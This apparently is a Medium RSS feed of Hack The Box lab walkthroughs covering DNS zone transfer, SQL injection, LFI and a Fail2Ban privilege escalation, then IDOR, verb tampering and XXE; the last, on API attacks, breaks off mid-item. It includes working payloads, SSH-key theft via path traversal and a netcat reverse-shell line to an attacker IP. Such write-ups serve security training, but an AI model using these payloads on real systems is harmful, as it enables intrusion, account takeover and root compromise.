<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ZeroByte on Medium]]></title>
        <description><![CDATA[Stories by ZeroByte on Medium]]></description>
        <link>https://medium.com/@ZeroByte?source=rss-e94c25347461------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dIBs9eoLatig7LnZRbFJUA.png</url>
            <title>Stories by ZeroByte on Medium</title>
            <link>https://medium.com/@ZeroByte?source=rss-e94c25347461------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 02:51:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ZeroByte/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB Trick Walkthrough: From DNS Zone Transfer to Fail2Ban Root]]></title>
            <link>https://medium.com/@ZeroByte/hack-the-box-trick-write-up-from-dns-zone-transfer-to-fail2ban-root-4d5e67544bfb?source=rss-e94c25347461------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d5e67544bfb</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[fail2ban]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[ZeroByte]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 01:23:50 GMT</pubDate>
            <atom:updated>2026-10-16T08:54:05.334Z</atom:updated>
            <content:encoded><![CDATA[<p>A Step-by-Step Walkthrough of DNS Enumeration, Blind SQL Injection, Local File Inclusion, SSH Key Disclosure, and Fail2Ban Privilege Escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*0XYpYqP_AtmZnkWW.png" /></figure><h3>Introduction</h3><p>Trick is an easy Linux machine that focuses on DNS enumeration, virtual-host discovery, SQL injection, local file inclusion, and a Fail2Ban misconfiguration.</p><p>The initial attack path involved performing a DNS zone transfer to discover a Payroll application. An SQL injection in that application provided database enumeration and arbitrary file-read capabilities, which exposed an additional Marketing virtual host. A local file inclusion vulnerability in the Marketing application allowed the disclosure of Michael’s private SSH key. Root access was later obtained by modifying a writable Fail2Ban action file and restarting the service with sudo.</p><h3>Reconnaissance</h3><h3>Full TCP Port Scan</h3><pre>sudo nmap -p- -sV -sC 10.129.227.180 --min-rate=1000 -oN full-scan_tricks -v --open</pre><p>The scan identified four exposed services that required further enumeration:</p><p>80 http Nginx 1.14.2</p><p>53 DNS</p><p>25 SMTP</p><p>22 SSH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GQcaAvcgWT6aBzSSzetpA.png" /></figure><h3>Tried to enumerate subdomains of this host</h3><p><strong>Dead end — this approach did not work.</strong></p><p>fuzzing with ffuf the Vhosts of tricks.htb</p><p><strong>Why it was abandoned:</strong> Zero results (later on I found the host name is trick.htb)</p><h3>fuzz for directory</h3><p><strong>Dead end — this approach did not work.</strong></p><p>tried to fuzz the directory of this host with ffuf</p><p><strong>Why it was abandoned:</strong> Found zero results</p><h3>Pivot to DNS Enumeration</h3><p><strong>Dead end — this approach did not work.</strong></p><p>I initially became stuck during reconnaissance after repeated directory and virtual-host fuzzing against tricks.htb returned no useful results. I tried different wordlists and adjusted the FFUF commands, but the outcome remained unchanged.</p><p>At this point, I temporarily switched from Adventure Mode to Guided Mode. The guidance prompted me to revisit the original Nmap results, where I noticed that the target also exposed a DNS service on port 53. A reverse DNS lookup then revealed that the correct hostname was trick.htb; I had mistakenly added an s to the domain name during my initial enumeration.</p><p>After correcting the hostname, I returned to Adventure Mode and continued with DNS enumeration.</p><pre>dig @10.129.227.180 -x 10.129.227.180</pre><p>Output:</p><pre>10.129.227.180  trick.htb</pre><p>The reverse DNS query revealed that the correct hostname was trick.htb, not tricks.htb as initially assumed.</p><h3>Enumeration</h3><h3>DNS Zone Transfer</h3><pre>dig @10.129.227.180 trick.htb AXFR</pre><p>Output:</p><pre>preprod-payroll.trick.htb</pre><p>The zone transfer exposed the preprod-payroll.trick.htb virtual host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hci2_mFkz3NV4e_HDV8JWA.png" /></figure><h3>Payroll Content Discovery</h3><pre>dirsearch -u http://preprod-payroll.trick.htb/</pre><p>Output:</p><pre>[06:23:30] Starting:<br>[06:24:01] 200 -    0B  - /ajax.php<br>[06:24:03] 301 -  185B  - /assets  -&gt;  http://preprod-payroll.trick.htb/assets/<br>[06:24:03] 403 -  571B  - /assets/<br>[06:24:16] 301 -  185B  - /database  -&gt;  http://preprod-payroll.trick.htb/database/<br>[06:24:16] 403 -  571B  - /database/<br>[06:24:27] 200 -    2KB - /header.php<br>[06:24:28] 200 -  486B  - /home.php<br>[06:24:37] 200 -    5KB - /login.php<br>[06:24:58] 200 -  149B  - /readme.txt<br>[06:25:18] 200 -    2KB - /users.php</pre><p>Enumeration of the directories of the preprod-payroll subdomain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MeDrxvjldFH4bGOTV2_eCQ.png" /></figure><h3>Open directory leading to finding valid username</h3><p>Content discovery identified an exposed users.php endpoint that disclosed the valid application username Enemigosss.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*0QIDS12y7JBQSxL-JfhgNQ.png" /></figure><pre>Enemigosss&#39; or &#39;1&#39;=&#39;1</pre><p>After getting the valid username, I tried to enter it and use SQL statement to bypass the authentication mechanism. It worked! The payload bypassed authentication and provided access to the application with the Administrator role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rls-S3LtaIKBzJJU9IyVYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B05t77b4qxN15YmjRmcSmw.png" /></figure><h3>SQL Injection Discovery</h3><p>After authenticating to the application, I observed that employee records were retrieved through the id GET parameter: /view_employee.php?id=1</p><p>By modifying the id parameter and comparing the resulting responses, I confirmed that the value was incorporated into a database query. SQLMap subsequently identified the parameter as vulnerable to boolean-based and time-based blind SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqZOUHVJsqPi_W28-xaYCQ.png" /></figure><h3>Database Privilege Enumeration</h3><pre>sqlmap -u &#39;http://preprod-payroll.trick.htb/view_employee.php?id=1&#39; --cookie=&quot;2v1kskeh70894f9b3pqo27ahoe&quot; --banner --current-user --current-db --privileges</pre><p>The application was connected to MySQL with the user remo as the database user. The account has the global FILE privilege, which could potentially allow server-side file operations, subject to MySQL configuration and the operating-system permissions of the database process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHuRzJW8V4ju7Br2r5iUmw.png" /></figure><pre>sqlmap -u &#39;http://preprod-payroll.trick.htb/view_employee.php?id=1&#39; --cookie=&quot;2v1kskeh70894f9b3pqo27ahoe&quot;  --file-read &quot;/etc/passwd&quot; --threads=5</pre><p>SQLMap successfully retrieved /etc/passwd. The file disclosed a local user named michael, whose home directory was /home/michael.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IOJSDBKtJdJm271aQ1PO_w.png" /></figure><h3>Credential Reuse Dead End and Second Pivot</h3><p><strong>Dead end — this approach did not work.</strong></p><p>The Payroll database exposed credentials associated with the Enemigosss application account. I tested whether the credentials had been reused for SSH access, but authentication failed. I also reviewed the exposed SMTP service, but the server did not advertise support for SMTP authentication.</p><p>After these attempts failed, I temporarily switched to Guided Mode again. The guidance suggested that I should make further use of the database user’s FILE privilege and inspect local configuration files rather than continue testing the application credentials.</p><p>I then used the SQL injection to retrieve the Nginx configuration, which exposed the additional preprod-marketing.trick.htb virtual host. From that point, I returned to Adventure Mode and continued enumerating the newly discovered application.</p><p>Based on this guidance, I decided to use the database user’s FILE privilege to inspect the Nginx configuration for additional virtual hosts and application paths. I then returned to Adventure Mode and continued the assessment independently.</p><h3>Reading the Nginx Configuration</h3><pre>sqlmap -u &#39;http://preprod-payroll.trick.htb/view_employee.php?id=1&#39; --cookie=&quot;2v1kskeh70894f9b3pqo27ahoe&quot;  --file-read &quot;/etc/nginx/sites-available/default&quot; --threads=5</pre><p>The Nginx configuration contained a second server block for preprod-marketing.trick.htb, with its document root configured under /var/www/market.</p><p>This discovery provided a new attack surface. I added the virtual host to /etc/hosts and shifted my enumeration from the Payroll application to the Marketing application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRhF0tWkmX93_jEQd75Rfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*Nkwy4Wzxb9Be3T2Uqc_nig.png" /></figure><h3>Marketing Application Exploitation</h3><h3>Testing for Local File Inclusion</h3><pre>http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//etc/passwd</pre><p>The Marketing application loaded content through the page GET parameter. Because user-controlled input appeared to determine which file was included, I tested the parameter for path traversal.</p><p>A standard traversal sequence did not return the requested file. However, using the nested ....// sequence bypassed the application&#39;s path sanitization and allowed /etc/passwd to be retrieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cJNQcLq6yiQam5kQFwYNAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_uE96TGCkLIwb-edktKYmA.png" /></figure><pre>http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//home/michael/user.txt</pre><p>Extracting the user.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_T6HJiObXaPU9oysLkhZA.png" /></figure><h3>user flag</h3><p><strong>Location:</strong> [REDACTED]</p><p><strong>Value:</strong> [REDACTED]</p><h3>Initial Access</h3><h3>The key was successfully retrieved and saved locally</h3><pre>curl -s &quot;http://preprod-marketing.trick.htb:80/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//home/michael/.ssh/id_rsa&quot; -o id_rsa<br>chmod 600 id_rsa<br>ssh -i id_rsa michael@10.129.227.180</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jbZhQtp7v-YnhfhC9_KXIA.png" /></figure><h3>Privilege Escalation</h3><h3>Sudo Fail2ban Privilege Escalation</h3><h3>1. What can we run with sudo?</h3><pre>sudo -l</pre><p>Output:</p><pre>(root) NOPASSWD: /etc/init.d/fail2ban restart</pre><p>Checking for sudo run rights as the user “michael”. I found that I can restart the service fail2ban. (“That is a lightweight intrusion prevention software that protects Linux servers from brute-force attacks by scanning log files and temporarily blocking malicious IP addresses.”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*du53C_q4aHG1lkIHndD3VQ.png" /></figure><h3>2. Can Fail2Ban Be Influenced Through Writable Configuration Files?</h3><pre>find /etc -writable -ls 2&gt;/dev/null</pre><p>Output:</p><pre>4 drwxrwx--- 2 root security  4096 Oct 16 08:57 /etc/fail2ban/action.d</pre><p>If we can execute “fail2ban” as root, we can gain access to privileges by modifying the configuration file. We need to check if the config file is writable.</p><h3>3. Verify Group Membership</h3><p>The directory was writable by the security group, and michael was a member of that group. This allowed the user to replace Fail2Ban action configuration files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*-Bnf5RXv9gAD0QCfFmOv2w.png" /></figure><h3>4. Review the Fail2Ban Jail Configuration</h3><pre>less /etc/fail2ban/jail.conf</pre><p>Output:</p><pre># output</pre><pre>...<br># &quot;bantime&quot; is the number of seconds that a host is banned.<br>bantime  = 10s</pre><pre># A host is banned if it has generated &quot;maxretry&quot; during the last &quot;findtime&quot;<br># seconds.<br>findtime  = 10s</pre><pre># &quot;maxretry&quot; is the number of failures before a host get banned.<br>maxretry = 5<br>...</pre><p>Look inside of “/etc/fail2ban/jail.conf” to know more about how fail2ban is configured.</p><h3>5. Copy Configuration File to Michael’s home directory</h3><pre>ls -al /etc/fail2ban/action.d/iptables-multiport.conf<br># copy this file into the home directory for editing the content<br>cp /etc/fail2ban/action.d/iptables-multiport.conf ~</pre><p>For privilege escalation, we need to update the “iptables-multiport.conf”. Specifically, insert a payload to one of the following values.</p><ul><li>actionstart</li><li>actionstop</li><li>actioncheck</li><li>actionban</li><li>actionunban</li></ul><p>Here update the value of actionban which triggers ban on multiple login attempts. Copy iptables-multiport.conf to the current user’s home directory.</p><h3>6. Modify the Configuration File</h3><pre>nano iptables-multiport.conf</pre><pre># inside the file:<br>actionban = /usr/bin/nc 10.10.14.224 4444 -e /bin/bash</pre><p>I replaced the actionban command with a reverse shell payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2ggjifE4OjfunNzUrS9EA.png" /></figure><p>7. Moving the edited configuration file</p><pre>mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf</pre><p>I then moved the modified configuration file back to its original location.</p><h3>8. Restart the service</h3><pre>sudo /etc/init.d/fail2ban restart</pre><p>To apply the new configuration, restart it as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqw6iCKhi0ip8HVO-i56-Q.png" /></figure><h3>9. Start a listener</h3><pre>python3 penelope.py</pre><h3>10. Trigger the Action</h3><pre>hydra -l root -P passwords.txt 10.129.227.180 ssh</pre><p>I used Hydra to generate repeated failed SSH authentication attempts until the configured maxretry threshold was reached.</p><h3>11. Root Shell</h3><pre>id</pre><p>Output:</p><pre>uid=0(root) gid=0(root) groups=0(root)</pre><p>Once the failed SSH attempts reached the configured maxretry threshold, Fail2Ban executed the modified action as root. Penelope received the reverse shell, and the effective identity was verified:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Jnbn0pE6l6qQi5AiIuS4w.png" /></figure><h3>Post-Exploitation</h3><h3>root flag</h3><p><strong>Location:</strong> [REDACTED]</p><p><strong>Value:</strong> [REDACTED]</p><h3>Lessons Learned</h3><h3>DNS Enumeration</h3><p>When TCP or UDP port 53 is exposed, I should query the target DNS server directly and test whether zone transfers are permitted. Virtual host fuzzing may not discover names that are available through DNS records, and an incorrect base domain can make otherwise valid enumeration attempts appear unsuccessful.</p><h3>Credential Validation</h3><p>Recovered credentials should be tested against relevant exposed services, but unsuccessful reuse attempts should not consume excessive time. After validating the obvious possibilities, I should document the result and continue enumerating other attack surfaces.</p><h3>Database Privileges</h3><p>After confirming SQL injection, I should identify the current database user and enumerate its privileges. In this case, the MySQL FILE privilege expanded the impact from database access to local file disclosure.</p><h3>Configuration File Enumeration</h3><p>Web server configuration files can disclose document roots, internal applications, and additional virtual hosts. Reading the Nginx configuration revealed the Marketing application and provided the pivot to the successful initial-access path.</p><h3>Links</h3><h3>Nginx guide</h3><p><a href="https://nginx.org/en/docs/beginners_guide.html">Beginner&#39;s Guide</a></p><h3>file2ban — PE</h3><p><a href="https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-fail2ban-privilege-escalation">Sudo Fail2ban Privilege Escalation | Linux Privilege Escalation</a></p><p>Thanks for taking the time to read my write-up. I hope you found it helpful, and I’d be glad to hear your feedback or alternative approaches!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d5e67544bfb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Web Attacks - Skill Assessment]]></title>
            <link>https://medium.com/@ZeroByte/htb-web-attacks-skill-assessment-ee63a19058c9?source=rss-e94c25347461------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee63a19058c9</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[ZeroByte]]></dc:creator>
            <pubDate>Thu, 21 May 2026 02:58:01 GMT</pubDate>
            <atom:updated>2026-05-22T00:19:18.880Z</atom:updated>
            <content:encoded><![CDATA[<p>Chaining IDOR, HTTP Verb Tampering, and XXE for Flag Exfiltration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*E7HI0DvDjPG1nb6Y.png" /></figure><h3>Introduction</h3><p>Modern web application security relies on authorization checks at every API boundary. When an application trusts client-side identity without verifying it on the backend, it opens the door to serious logic flaws.</p><p>This post walks through a multi-stage exploit chain from the Skill Assessment of HTB’s Web Attacks module, part of the CWES certification path. By combining an <strong>Insecure Direct Object Reference (IDOR)</strong> flaw with <strong>HTTP Verb Tampering</strong>, full <strong>Account Takeover (ATO)</strong> was achieved. From there, <strong>In-Band XXE</strong> injection with a <strong>PHP Stream Filter</strong> was used to extract server-side source code.</p><h3>The Attack Chain at a Glance</h3><ol><li><strong>Initial Access:</strong> Logging in with the provided credentials and identifying the starting user context.</li><li><strong>API Enumeration:</strong> Finding an admin account and reset token through IDOR in the site’s URL structure, which then exposed API endpoints.</li><li><strong>Account Takeover:</strong> Abusing loose cookie-to-request mapping to reset the administrator’s password.</li><li><strong>Data Exfiltration:</strong> Using XXE injection to read server files via Base64 encoding.</li></ol><h3>Technical Deep-Dive</h3><h4>Phase 0: Initial Access</h4><p>The Skill Assessment provided a starting point: authenticate htb-student with the password Academy_student!.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y0zjI_LNayuIJ25T" /></figure><p>After logging in, the application landed on profile.php, showing a standard user dashboard for Paolo Perrone at Schaefer Inc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vfIKlNACKWjoY43Z" /></figure><p>Intercepting the profile page request in Burp Suite revealed that the application was already leaking the user’s ID both in the URL and in a uid cookie. The API endpoint /api.php/user/74 confirmed this, returning the current user&#39;s details directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/0*7o4oTXoOayc4u2er" /></figure><p>This was the first signal that user IDs were being used as direct object references with no additional validation, setting the stage for IDOR enumeration.</p><h4>Phase 1: API Enumeration &amp; Insecure Direct Object Reference (IDOR)</h4><p>The application exposed user IDs directly in its URL structure, allowing any authenticated user to reference other users’ resources by simply changing the ID in the URL. This led to the discovery of two sensitive API endpoints:</p><ul><li>/api.php/user/${uid}</li><li>/api.php/token/${uid}</li></ul><p>The backend never checked whether the logged-in user had permission to access other users’ profiles or tokens.</p><p>A simple Bash script iterated through user IDs to find interesting accounts:</p><pre>#!/bin/bash<br>BASE_URL=&quot;http://154.57.164.71:30176/api.php/user&quot;<br>for uid in {1..100}; do<br>    response=$(curl -s -w &quot;\n&quot; &quot;${BASE_URL}/${uid}&quot;)<br>    if [ -n &quot;$response&quot; ]; then<br>        echo &quot;[*] User ID: ${uid} | ${response}&quot;<br>    fi<br>done</pre><p>The script found an admin account at ID 52:</p><pre>{&quot;uid&quot;:&quot;52&quot;,&quot;username&quot;:&quot;a.corrales&quot;,&quot;full_name&quot;:&quot;Amor Corrales&quot;,&quot;company&quot;:&quot;Administrator&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*DW-ZfiCI2-PlPbsCdq3YBQ.png" /></figure><p>A direct GET request to /api.php/token/52 then returned the admin&#39;s active reset token with no errors:</p><pre>{&quot;token&quot;:&quot;e51a85fa-17ac-11ec-8e51-e78234eb7b0c&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mZrGZ8LRl1oKsPKDX1iZXQ.png" /></figure><h4>Phase 2: HTTP Verb Tampering &amp; Account Takeover (ATO)</h4><p>The goal was to use the stolen token against the password reset page at /reset.php.</p><p>Sending a standard application/json POST request returned a Missing parameters error right away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVawFonffjrViiHQUApTjQ.png" /><figcaption>Missing parameters error</figcaption></figure><p>Looking closer at the backend logic revealed the problem: the PHP code was checking permissions by comparing the uid cookie against the uid value in the request, essentially doing $_COOKIE[&#39;uid&#39;] === $_REQUEST[&#39;uid&#39;].</p><p>By sending the parameters as URL query strings instead of a POST body, and setting the cookie to uid=52, the authorization check passed completely:</p><pre>POST /reset.php?uid=52&amp;token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&amp;password=a HTTP/1.1<br>Host: 154.57.164.71:30176<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0<br>Accept: */*<br>Content-Type: application/x-www-form-urlencoded<br>Cookie: PHPSESSID=16vrs65ncrfrgv51r7kiogl864; uid=52<br>Content-Length: 0<br>Connection: close</pre><p>The server returned 200 OK with:</p><pre>Password changed successfully</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPhOW8-D9myKy3XejrwQ4g.png" /></figure><p>Logging in as a.corrales / a gave full access to the admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjhmr_tLVK3hYP_Tn0Klwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SGCIywHVUz3iubeyY-HJnA.png" /></figure><h4>Phase 3: In-Band XXE Injection</h4><p>With admin access, the focus shifted to /event.php, which contains a form for creating new events. Before injecting anything malicious, a legitimate request was sent first to understand how the form data is transmitted to the backend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z0MHpVChRU27sYlWOd4_sQ.png" /></figure><p>Intercepting the request in Burp Suite revealed that the form data is sent as raw XML to /addEvent.php, and the event name field is reflected back in the response as &quot;Event &#39;a&#39; has been created.&quot; This confirmed that whatever ends up in the &lt;name&gt; tag gets reflected on the page, making it the injection point</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZ8A1cbQjlt0RCkvs1W58g.png" /></figure><p>The next step was to verify that the parser actually processes XML entities before attempting anything more aggressive. A simple internal entity was defined and referenced in the &lt;name&gt; tag:</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;!DOCTYPE name [<br>  &lt;!ENTITY company &quot;Inlane Freight&quot;&gt;<br>]&gt;<br>&lt;root&gt;<br>  &lt;name&gt;&amp;company;&lt;/name&gt;<br>  &lt;details&gt;aaa&lt;/details&gt;<br>  &lt;date&gt;2026-05-20&lt;/date&gt;<br>&lt;/root&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FPbitaMkM2yzhZPx5-lQw.png" /></figure><p>The response returned “Event ‘Inlane Freight’ has been created”, confirming the parser resolves entities and reflects them. With that confirmed, the next step was testing whether external entities work as well, by pointing one at a known local file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j-9nMsR_vS35Qs1OXS1jTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*MjtLjgjXBudMyV8w.png" /></figure><p>The full contents of /etc/passwd were returned in the response, confirming a working In-Band XXE vulnerability.​</p><p>The target file was /flag.php, but pointing an XML entity directly at a PHP file causes parser errors because PHP tags like &lt;?php ?&gt; conflict with XML syntax. The fix was to use a PHP stream filter (php://filter) to Base64-encode the file contents before the parser ever saw them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGMQwx1SzHBwI9vV_HBumg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Tn-9Llwv884uMu67.png" /></figure><p>The response contained a Base64 string embedded in the event echo. Selecting it in Burp Suite’s Inspector panel and choosing Base64 decode revealed the flag directly:</p><pre>&lt;?php $flag = &quot;HTB{m45------ck3r}&quot;; ?&gt;</pre><p><strong>Key defensive recommendations:</strong>​</p><ol><li><strong>IDOR:</strong> Validate that the requesting user actually owns the resource on every single request. Object references should be tied to the server-side session, not to a user-supplied ID in the URL or cookie. Avoid sequential numeric IDs and replace them with unpredictable references like UUIDs.​</li><li><strong>HTTP Verb Tampering:</strong> Apply authorization checks consistently regardless of where parameters arrive, whether in the request body, URL query string, or cookies. Never resolve a user’s identity from values they control directly. A single centralized authorization function should handle all incoming requests the same way.​</li><li><strong>XXE:</strong> Disable external entity and DTD processing at the parser level. In PHP this means setting libxml_disable_entity_loader(true) before parsing and using LIBXML_NOENT carefully. This blocks both In-Band and Out-of-Band XXE at the root. As an extra layer, avoid reflecting user-supplied XML values back in the response, which limits the impact of any bypass.</li></ol><p><strong>Thanks for reading!</strong>​</p><p>Hope this walkthrough gave you a clear picture of how these three vulnerabilities chain together in practice. If you are working through the Web Attacks module yourself, good luck with the Skill Assessment. Feel free to reach out if you have any questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee63a19058c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Certified Web Penetration Tester — Skill Assessment: API Attacks]]></title>
            <link>https://medium.com/@ZeroByte/htb-certified-web-penetration-tester-skill-assessment-api-attacks-0af4686c57f7?source=rss-e94c25347461------2</link>
            <guid isPermaLink="false">https://medium.com/p/0af4686c57f7</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[appsec]]></category>
            <dc:creator><![CDATA[ZeroByte]]></dc:creator>
            <pubDate>Sat, 13 Dec 2025 02:40:07 GMT</pubDate>
            <atom:updated>2025-12-14T12:06:01.023Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>HTB Certified Web Penetration Tester’s Skill Assessment: API Attacks Walkthrough</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*XnL9R6Rfd06hO84V.png" /></figure><h3>Module Introduction</h3><p>This challenge is part of the <strong>HTB Certified Web Penetration Tester</strong> skill assessment under the <strong>API Attacks</strong> module. It focuses on identifying and chaining real-world API vulnerabilities to gain unauthorized access and retrieve sensitive information. The assessment simulates a scenario involving insecure password resets, broken access controls, and improper file handling — making it a great exercise in exploiting insecure business logic and misconfigured permissions.</p><h3>Scenario Overview</h3><p>After responsibly disclosing vulnerabilities in versions v0 and v1 of the <strong>Inlanefreight E-Commerce Marketplace</strong>, the application administrator released a patched version (v2). However, new features were introduced by junior developers, and the admin requested another assessment to verify whether any new security risks had been introduced.</p><h3>Assignment</h3><p>You’ve been hired to assess the security of the new v2 web API. Your objective is to investigate the new functionalities implemented by junior developers and exploit any vulnerabilities that remain or have been introduced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C8kPU4YoSpK-hqab" /><figcaption>Assignment instructions</figcaption></figure><h3>Initial Recon via Swagger</h3><p>First, we accessed the Swagger UI documentation:</p><pre>http://&lt;ip&gt;:&lt;port&gt;/swagger</pre><figure><img alt="Swagger UI documentation page for API v2" src="https://cdn-images-1.medium.com/max/1024/0*yQAypx5UBF8wy6Pj" /><figcaption>Swagger API endpoint listing</figcaption></figure><h3>Authenticating as Customer</h3><p>Logged in using the following credentials:</p><pre>Email: htbpentester@hackthebox.com<br>Password: HTBPentester</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qd9QRGPkfaUz-cg5" /><figcaption>Login screen for customer credentials</figcaption></figure><p>The response returned a JWT, which we copied and pasted into the Authorization header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c-DMfkXWk5FuA_OO" /><figcaption>JWT for customer login</figcaption></figure><h3>Exploring Available Roles</h3><p>Queried the /api/v2/authentication/current-user/roles endpoint.</p><p>Roles available to customers:</p><ul><li>Suppliers_Get</li><li>Suppliers_GetAll</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iSGLFJphD2DeZUQc" /><figcaption>Roles assigned to the logged-in customer</figcaption></figure><h3>Supplier Info Enumeration</h3><p>Accessed:</p><pre>GET /api/v2/suppliers</pre><p>This endpoint leaked sensitive internal fields including:</p><ul><li>securityQuestion</li><li>professionalCVPDFFileURI</li></ul><p>This revealed a <strong>Mass Assignment</strong> vulnerability, since customers should not be able to view such private fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s4nJMOmOT4Zkk47Z" /><figcaption>Leaked supplier data showing internal fields</figcaption></figure><h3>Targeting a Specific Supplier by ID</h3><p>We then enumerated a specific supplier using:</p><pre>GET /api/v2/suppliers/{ID}</pre><p>Tested with:</p><pre>ID: 00ac3d74-6c7d-4ef0-bf15-00851bf353ba<br>Name: James Allen</pre><p>Default values confirmed:</p><pre>&quot;securityQuestion&quot;: &quot;SupplierDidNotProvideYet&quot;,<br>&quot;professionalCVPDFFileURI&quot;: &quot;SupplierDidNotUploadYet&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zKuq9HAYFOd6rdW2" /><figcaption>Supplier profile with default security fields</figcaption></figure><h3>Investigating Password Reset Flow</h3><p>Analyzed the endpoint:</p><pre>POST /api/v2/authentication/suppliers/passwords/resets/security-question-answers</pre><p>Attempted to reset James Allen’s password with an empty answer, since his profile indicated he hadn’t set one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lZGs8N9fJbl8kf0U" /><figcaption>Unsuccessful password reset attempt for a supplier</figcaption></figure><p>Unsuccessful — the server rejected the request.</p><h3>Finding Resettable Supplier Accounts</h3><p>After some research, we identified multiple suppliers who <strong>did set</strong> security questions. All of them used:</p><pre>&quot;securityQuestion&quot;: &quot;What is your favorite color?&quot;</pre><figure><img alt="" 